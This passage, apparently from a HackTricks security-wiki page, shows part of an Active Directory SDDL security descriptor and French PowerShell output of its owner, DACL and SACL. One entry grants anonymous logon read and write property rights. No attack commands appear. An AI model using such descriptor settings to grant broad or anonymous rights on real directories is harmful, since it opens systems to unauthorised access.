79-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Propriétaire            : BUILTIN\Administrateurs
Groupe            : BUILTIN\Administrateurs
DiscretionaryAcl : {Everyone: Accès refusé (WriteData), Everyone: Accès autorisé (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: Accès autorisé (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: Accès autorisé
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: Audit système Accès réussi (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrateurs: Audit système Accès réussi (WriteAttributes), DOMAIN_NAME\Domain Users:
Audit système Accès réussi (WriteAttributes), Everyone: Audit système Accès réussi
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥